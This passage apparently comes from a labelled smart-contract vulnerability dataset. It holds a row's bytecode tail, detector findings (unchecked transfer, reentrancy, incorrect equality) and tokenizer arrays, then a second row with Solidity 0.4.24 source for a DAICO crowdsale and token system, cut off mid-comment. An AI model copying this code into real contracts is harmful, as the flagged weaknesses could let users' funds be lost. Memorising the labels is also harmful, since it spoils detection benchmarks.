ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561186c57600080fd5b5af1151561187957600080fd5b505050604051805190509050919050565b60006005544211806118a85750600760009054906101000a900460ff165b905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561190857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561194457600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a5d57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611aba57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ffdfc1c97ee88e860eb4ead569172ff0d2804848a6c72250393393a22729baced60405160405180910390a380600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a7230582086de92251af832762f0e3f924817051f036a39b4fd37bdd74ce02a1b7eda65100029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
25746,
23352,
22203,
3540,
22932,
2549,
2546,
2575,
2063,
2629,
2094,
2683,
2050,
2692,
2497,
22407,
14526,
16048,
27814,
21084,
22907,
21619,
2575,
20842,
2475,
2050,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1018,
1012,
2538,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1005,
15340,
4697,
9226,
3653,
12002,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,440 | 0x9527fcc8963ab8dccf50cf6731e0abcd6bf262ba | pragma solidity ^0.4.24;
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
ERC20Interface public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
/**
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
constructor(uint256 _rate, address _wallet, ERC20Interface _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract ERC20Interface {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Standard is ERC20Interface {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) external returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) external returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* To avoid this issue, allowances are only allowed to be changed between zero and non-zero.
*
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) external returns (bool) {
require(allowed[msg.sender][_spender] == 0 || _value == 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() external view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) external view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) external view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) external returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) external returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC223Interface {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transfer(address to, uint256 value, bytes data) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Standard is ERC223Interface, ERC20Standard {
using SafeMath for uint256;
/**
* @dev Transfer the specified amount of tokens to the specified address.
* Invokes the `tokenFallback` function if the recipient is a contract.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallback` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
function transfer(address _to, uint256 _value, bytes _data) external returns(bool){
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
uint256 codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value);
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* This function works the same with the previous one
* but doesn't contain `_data` param.
* Added due to backwards compatibility reasons.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
*/
function transfer(address _to, uint256 _value) external returns(bool){
uint256 codeLength;
bytes memory empty;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, empty);
}
emit Transfer(msg.sender, _to, _value);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is ERC223Standard, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract PoolAndSaleInterface {
address public tokenSaleAddr;
address public votingAddr;
address public votingTokenAddr;
uint256 public tap;
uint256 public initialTap;
uint256 public initialRelease;
function setTokenSaleContract(address _tokenSaleAddr) external;
function startProject() external;
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TimeLockPool{
using SafeMath for uint256;
struct LockedBalance {
uint256 balance;
uint256 releaseTime;
}
/*
structure: lockedBalnces[owner][token] = LockedBalance(balance, releaseTime);
token address = '0x0' stands for ETH (unit = wei)
*/
mapping (address => mapping (address => LockedBalance[])) public lockedBalances;
event Deposit(
address indexed owner,
address indexed tokenAddr,
uint256 amount,
uint256 releaseTime
);
event Withdraw(
address indexed owner,
address indexed tokenAddr,
uint256 amount
);
/// @dev Constructor.
/// @return
constructor() public {}
/// @dev Deposit tokens to specific account with time-lock.
/// @param tokenAddr The contract address of a ERC20/ERC223 token.
/// @param account The owner of deposited tokens.
/// @param amount Amount to deposit.
/// @param releaseTime Time-lock period.
/// @return True if it is successful, revert otherwise.
function depositERC20 (
address tokenAddr,
address account,
uint256 amount,
uint256 releaseTime
) external returns (bool) {
require(account != address(0x0));
require(tokenAddr != 0x0);
require(msg.value == 0);
require(amount > 0);
require(ERC20Interface(tokenAddr).transferFrom(msg.sender, this, amount));
lockedBalances[account][tokenAddr].push(LockedBalance(amount, releaseTime));
emit Deposit(account, tokenAddr, amount, releaseTime);
return true;
}
/// @dev Deposit ETH to specific account with time-lock.
/// @param account The owner of deposited tokens.
/// @param releaseTime Timestamp to release the fund.
/// @return True if it is successful, revert otherwise.
function depositETH (
address account,
uint256 releaseTime
) external payable returns (bool) {
require(account != address(0x0));
address tokenAddr = address(0x0);
uint256 amount = msg.value;
require(amount > 0);
lockedBalances[account][tokenAddr].push(LockedBalance(amount, releaseTime));
emit Deposit(account, tokenAddr, amount, releaseTime);
return true;
}
/// @dev Release the available balance of an account.
/// @param account An account to receive tokens.
/// @param tokenAddr An address of ERC20/ERC223 token.
/// @param index_from Starting index of records to withdraw.
/// @param index_to Ending index of records to withdraw.
/// @return True if it is successful, revert otherwise.
function withdraw (address account, address tokenAddr, uint256 index_from, uint256 index_to) external returns (bool) {
require(account != address(0x0));
uint256 release_amount = 0;
for (uint256 i = index_from; i < lockedBalances[account][tokenAddr].length && i < index_to + 1; i++) {
if (lockedBalances[account][tokenAddr][i].balance > 0 &&
lockedBalances[account][tokenAddr][i].releaseTime <= block.timestamp) {
release_amount = release_amount.add(lockedBalances[account][tokenAddr][i].balance);
lockedBalances[account][tokenAddr][i].balance = 0;
}
}
require(release_amount > 0);
if (tokenAddr == 0x0) {
if (!account.send(release_amount)) {
revert();
}
emit Withdraw(account, tokenAddr, release_amount);
return true;
} else {
if (!ERC20Interface(tokenAddr).transfer(account, release_amount)) {
revert();
}
emit Withdraw(account, tokenAddr, release_amount);
return true;
}
}
/// @dev Returns total amount of balances which already passed release time.
/// @param account An account to receive tokens.
/// @param tokenAddr An address of ERC20/ERC223 token.
/// @return Available balance of specified token.
function getAvailableBalanceOf (address account, address tokenAddr)
external
view
returns (uint256)
{
require(account != address(0x0));
uint256 balance = 0;
for(uint256 i = 0; i < lockedBalances[account][tokenAddr].length; i++) {
if (lockedBalances[account][tokenAddr][i].releaseTime <= block.timestamp) {
balance = balance.add(lockedBalances[account][tokenAddr][i].balance);
}
}
return balance;
}
/// @dev Returns total amount of balances which are still locked.
/// @param account An account to receive tokens.
/// @param tokenAddr An address of ERC20/ERC223 token.
/// @return Locked balance of specified token.
function getLockedBalanceOf (address account, address tokenAddr)
external
view
returns (uint256)
{
require(account != address(0x0));
uint256 balance = 0;
for(uint256 i = 0; i < lockedBalances[account][tokenAddr].length; i++) {
if(lockedBalances[account][tokenAddr][i].releaseTime > block.timestamp) {
balance = balance.add(lockedBalances[account][tokenAddr][i].balance);
}
}
return balance;
}
/// @dev Returns next release time of locked balances.
/// @param account An account to receive tokens.
/// @param tokenAddr An address of ERC20/ERC223 token.
/// @return Timestamp of next release.
function getNextReleaseTimeOf (address account, address tokenAddr)
external
view
returns (uint256)
{
require(account != address(0x0));
uint256 nextRelease = 2**256 - 1;
for (uint256 i = 0; i < lockedBalances[account][tokenAddr].length; i++) {
if (lockedBalances[account][tokenAddr][i].releaseTime > block.timestamp &&
lockedBalances[account][tokenAddr][i].releaseTime < nextRelease) {
nextRelease = lockedBalances[account][tokenAddr][i].releaseTime;
}
}
/* returns 0 if there are no more locked balances. */
if (nextRelease == 2**256 - 1) {
nextRelease = 0;
}
return nextRelease;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
/**
* @dev Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
/**
* @dev Constructor, takes crowdsale opening and closing times.
* @param _openingTime Crowdsale opening time
* @param _closingTime Crowdsale closing time
*/
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
/**
* @dev Extend parent behavior requiring to be within contributing period
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
}
}
contract TokenController is Ownable {
using SafeMath for uint256;
MintableToken public targetToken;
address public votingAddr;
address public tokensaleManagerAddr;
State public state;
enum State {
Init,
Tokensale,
Public
}
/// @dev The deployer must change the ownership of the target token to this contract.
/// @param _targetToken : The target token this contract manage the rights to mint.
/// @return
constructor (
MintableToken _targetToken
) public {
targetToken = MintableToken(_targetToken);
state = State.Init;
}
/// @dev Mint and distribute specified amount of tokens to an address.
/// @param to An address that receive the minted tokens.
/// @param amount Amount to mint.
/// @return True if the distribution is successful, revert otherwise.
function mint (address to, uint256 amount) external returns (bool) {
/*
being called from voting contract will be available in the future
ex. if (state == State.Public && msg.sender == votingAddr)
*/
if ((state == State.Init && msg.sender == owner) ||
(state == State.Tokensale && msg.sender == tokensaleManagerAddr)) {
return targetToken.mint(to, amount);
}
revert();
}
/// @dev Change the phase from "Init" to "Tokensale".
/// @param _tokensaleManagerAddr A contract address of token-sale.
/// @return True if the change of the phase is successful, revert otherwise.
function openTokensale (address _tokensaleManagerAddr)
external
onlyOwner
returns (bool)
{
/* check if the owner of the target token is set to this contract */
require(MintableToken(targetToken).owner() == address(this));
require(state == State.Init);
require(_tokensaleManagerAddr != address(0x0));
tokensaleManagerAddr = _tokensaleManagerAddr;
state = State.Tokensale;
return true;
}
/// @dev Change the phase from "Tokensale" to "Public". This function will be
/// cahnged in the future to receive an address of voting contract as an
/// argument in order to handle the result of minting proposal.
/// @return True if the change of the phase is successful, revert otherwise.
function closeTokensale () external returns (bool) {
require(state == State.Tokensale && msg.sender == tokensaleManagerAddr);
state = State.Public;
return true;
}
/// @dev Check if the state is "Init" or not.
/// @return True if the state is "Init", false otherwise.
function isStateInit () external view returns (bool) {
return (state == State.Init);
}
/// @dev Check if the state is "Tokensale" or not.
/// @return True if the state is "Tokensale", false otherwise.
function isStateTokensale () external view returns (bool) {
return (state == State.Tokensale);
}
/// @dev Check if the state is "Public" or not.
/// @return True if the state is "Public", false otherwise.
function isStatePublic () external view returns (bool) {
return (state == State.Public);
}
}
contract TokenSaleManager is Ownable {
using SafeMath for uint256;
ERC20Interface public token;
address public poolAddr;
address public tokenControllerAddr;
address public timeLockPoolAddr;
address[] public tokenSales;
mapping( address => bool ) public tokenSaleIndex;
bool public isStarted = false;
bool public isFinalized = false;
modifier onlyDaicoPool {
require(msg.sender == poolAddr);
_;
}
modifier onlyTokenSale {
require(tokenSaleIndex[msg.sender]);
_;
}
/// @dev Constructor. It set the DaicoPool to receive the starting signal from this contract.
/// @param _tokenControllerAddr The contract address of TokenController.
/// @param _timeLockPoolAddr The contract address of a TimeLockPool.
/// @param _daicoPoolAddr The contract address of DaicoPool.
/// @param _token The contract address of a ERC20 token.
constructor (
address _tokenControllerAddr,
address _timeLockPoolAddr,
address _daicoPoolAddr,
ERC20Interface _token
) public {
require(_tokenControllerAddr != address(0x0));
tokenControllerAddr = _tokenControllerAddr;
require(_timeLockPoolAddr != address(0x0));
timeLockPoolAddr = _timeLockPoolAddr;
token = _token;
poolAddr = _daicoPoolAddr;
require(PoolAndSaleInterface(poolAddr).votingTokenAddr() == address(token));
PoolAndSaleInterface(poolAddr).setTokenSaleContract(this);
}
/// @dev This contract doen't receive any ETH.
function() external payable {
revert();
}
/// @dev Add a new token sale with specific parameters. New sale should start
/// @dev after the previous one closed.
/// @param openingTime A timestamp of the date this sale will start.
/// @param closingTime A timestamp of the date this sale will end.
/// @param tokensCap Number of tokens to be sold. Can be 0 if it accepts carryover.
/// @param rate Number of tokens issued with 1 ETH. [minimal unit of the token / ETH]
/// @param carryover If true, unsold tokens will be carryovered to next sale.
/// @param timeLockRate Specified rate of issued tokens will be locked. ex. 50 = 50%
/// @param timeLockEnd A timestamp of the date locked tokens will be released.
/// @param minAcceptableWei Minimum contribution.
function addTokenSale (
uint256 openingTime,
uint256 closingTime,
uint256 tokensCap,
uint256 rate,
bool carryover,
uint256 timeLockRate,
uint256 timeLockEnd,
uint256 minAcceptableWei
) external onlyOwner {
require(!isStarted);
require(
tokenSales.length == 0 ||
TimedCrowdsale(tokenSales[tokenSales.length-1]).closingTime() < openingTime
);
require(TokenController(tokenControllerAddr).state() == TokenController.State.Init);
tokenSales.push(new TokenSale(
rate,
token,
poolAddr,
openingTime,
closingTime,
tokensCap,
timeLockRate,
timeLockEnd,
carryover,
minAcceptableWei
));
tokenSaleIndex[tokenSales[tokenSales.length-1]] = true;
}
/// @dev Initialize the tokensales. No other sales can be added after initialization.
/// @return True if successful, revert otherwise.
function initialize () external onlyOwner returns (bool) {
require(!isStarted);
TokenSale(tokenSales[0]).initialize(0);
isStarted = true;
}
/// @dev Request TokenController to mint new tokens. This function is only called by
/// @dev token sales.
/// @param _beneficiary The address to receive the new tokens.
/// @param _tokenAmount Token amount to be minted.
/// @return True if successful, revert otherwise.
function mint (
address _beneficiary,
uint256 _tokenAmount
) external onlyTokenSale returns(bool) {
require(isStarted && !isFinalized);
require(TokenController(tokenControllerAddr).mint(_beneficiary, _tokenAmount));
return true;
}
/// @dev Mint new tokens with time-lock. This function is only called by token sales.
/// @param _beneficiary The address to receive the new tokens.
/// @param _tokenAmount Token amount to be minted.
/// @param _releaseTime A timestamp of the date locked tokens will be released.
/// @return True if successful, revert otherwise.
function mintTimeLocked (
address _beneficiary,
uint256 _tokenAmount,
uint256 _releaseTime
) external onlyTokenSale returns(bool) {
require(isStarted && !isFinalized);
require(TokenController(tokenControllerAddr).mint(this, _tokenAmount));
require(ERC20Interface(token).approve(timeLockPoolAddr, _tokenAmount));
require(TimeLockPool(timeLockPoolAddr).depositERC20(
token,
_beneficiary,
_tokenAmount,
_releaseTime
));
return true;
}
/// @dev Adds single address to whitelist of all token sales.
/// @param _beneficiary Address to be added to the whitelist
function addToWhitelist(address _beneficiary) external onlyOwner {
require(isStarted);
for (uint256 i = 0; i < tokenSales.length; i++ ) {
WhitelistedCrowdsale(tokenSales[i]).addToWhitelist(_beneficiary);
}
}
/// @dev Adds multiple addresses to whitelist of all token sales.
/// @param _beneficiaries Addresses to be added to the whitelist
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
require(isStarted);
for (uint256 i = 0; i < tokenSales.length; i++ ) {
WhitelistedCrowdsale(tokenSales[i]).addManyToWhitelist(_beneficiaries);
}
}
/// @dev Finalize the specific token sale. Can be done if end date has come or
/// @dev all tokens has been sold out. It process carryover if it is set.
/// @param _indexTokenSale index of the target token sale.
function finalize (uint256 _indexTokenSale) external {
require(isStarted && !isFinalized);
TokenSale ts = TokenSale(tokenSales[_indexTokenSale]);
if (ts.canFinalize()) {
ts.finalize();
uint256 carryoverAmount = 0;
if (ts.carryover() &&
ts.tokensCap() > ts.tokensMinted() &&
_indexTokenSale.add(1) < tokenSales.length) {
carryoverAmount = ts.tokensCap().sub(ts.tokensMinted());
}
if(_indexTokenSale.add(1) < tokenSales.length) {
TokenSale(tokenSales[_indexTokenSale.add(1)]).initialize(carryoverAmount);
}
}
}
/// @dev Finalize the manager. Can be done if all token sales are already finalized.
/// @dev It makes the DaicoPool open the TAP.
function finalizeTokenSaleManager () external{
require(isStarted && !isFinalized);
for (uint256 i = 0; i < tokenSales.length; i++ ) {
require(FinalizableCrowdsale(tokenSales[i]).isFinalized());
}
require(TokenController(tokenControllerAddr).closeTokensale());
isFinalized = true;
PoolAndSaleInterface(poolAddr).startProject();
}
}
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping(address => bool) public whitelist;
/**
* @dev Reverts if beneficiary is not whitelisted. Can be used when extending this contract.
*/
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
/**
* @dev Adds single address to whitelist.
* @param _beneficiary Address to be added to the whitelist
*/
function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
/**
* @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing.
* @param _beneficiaries Addresses to be added to the whitelist
*/
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
/**
* @dev Removes single address from whitelist.
* @param _beneficiary Address to be removed to the whitelist
*/
function removeFromWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
/**
